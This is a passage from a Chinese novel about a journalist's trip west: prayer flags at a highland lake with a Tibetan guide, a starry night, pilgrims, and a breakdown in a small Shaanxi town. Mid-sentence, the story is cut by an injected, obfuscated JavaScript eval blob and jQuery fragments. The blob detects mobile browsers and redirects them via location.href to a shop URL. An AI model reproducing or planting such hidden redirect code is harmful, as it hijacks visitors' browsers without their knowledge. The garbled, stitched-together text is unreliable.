湖边浅滩里密密麻麻全是逆流而上的鱼群，河水被搅成浑浊的奶白色。

    藏民向导才让说，这些鱼每十年才长一斤肉，“慢得像高原上的时间”。他带他们去祭海台，那里经幡密如森林，在风中哗响。才让教他们撒龙达——印着经文的彩色纸片，抛向空中时如蝶群纷飞。

    “每片龙达上都写着祈愿，”才让说，“风把愿望带到神那里。”

    叶葆启也撒了一把。纸片在上升气流中旋舞，有一片粘在他袖口上，他小心取下，见上面印的藏文如虫迹蜿蜒。他不懂意思，却觉得那形状本身就有某种神力，像古老的密码。

    那晚他们住在湖边帐篷。深夜，叶葆启被寒意冻醒，钻出睡袋走出帐篷。银河正横贯天际，星光稠密得几乎流淌下来。湖面映着星空的倒影，天地在黑暗中连成一体。

    他忽然感到一种渺小——不是沮丧的渺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16904180|192343||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    小，而是释然的渺小。在这样浩瀚的星空下，个人的悲喜、事业的成败、甚至时代的更迭，都轻如一片龙达。他想起来西部前总编辑的嘱托：“记录变化。”但此刻他觉得，真正值得记录的，也许是那些不变的东西：星空、大地、人对美的向往、对意义的追寻。

    身后传来脚步声，是摄影记者。

    “睡不着？”叶葆启问。

    “太安静了，耳朵嗡嗡响。”摄影记者点起烟，火光映亮他半边脸。他沉默了一会儿，说：“葆启，我拍了一万多张照片了。但最好的瞬间，往往是没带相机的时候。”

    比如昨天在公路上，他们遇见一家磕长头的朝圣者。夫妇俩带着个十岁左右的男孩，额头上都绑着厚木板，手肘和膝盖裹着牛皮。每走三步便全身伏地，额头轻叩地面。动作机械而虔诚，像某种古老的钟摆。

    摄影记者举起相机又放下。“拍了就像偷东西，”他当时说。

    此刻在星空下，叶葆启理解了他。有些画面只该留在眼睛里，溶进血液里，变成记忆的一部分——而不是凝固在相纸上，成为可供展示的标本。

    进入陕西时，春天真正来了。黄土高原的沟壑里，杏花开了，一簇簇粉白点缀在灰黄背景上，娇嫩得令人心碎。他们在延安采访老区建设，在黄帝陵看千年柏树，在西安古城墙下听秦腔——那嘶吼般的唱腔，像土地本身在发声。

    返程前最后一天，车子出了故障。小刘趴在引擎盖上捣鼓两小时，满手油污，终于宣告：“得等配件，至少三天。”

    他们被困在一个无名小镇。镇子只有一条街，街尾是汽车修理铺，街头是家小饭馆，中间散落着杂货店、理发铺、邮局——邮局的门永远半掩，玻璃柜台里摆着过时的邮票。

    意外的滞留成了西行的句点。三天里，他们像当地人一样生活：早上吃豆浆油条，中午在饭馆和卡车司机拼桌，傍晚去镇外土坡上看日落。时间慢下来，慢得像才让说的湟鱼。

    叶葆启用这时间整理笔记。三个厚本子写得满满当当，页角卷起，纸面有茶渍、油点、甚至不知哪次匆忙中滴上的蓝墨水。他重读那些文字，发现自己的笔迹在变化：起初工整谨慎，越往后越潦草飞扬，像被西部的风沙吹乱了筋骨。

    最后一晚，修好的车停在招待所院里。三人坐在台阶上喝当地产的太白酒，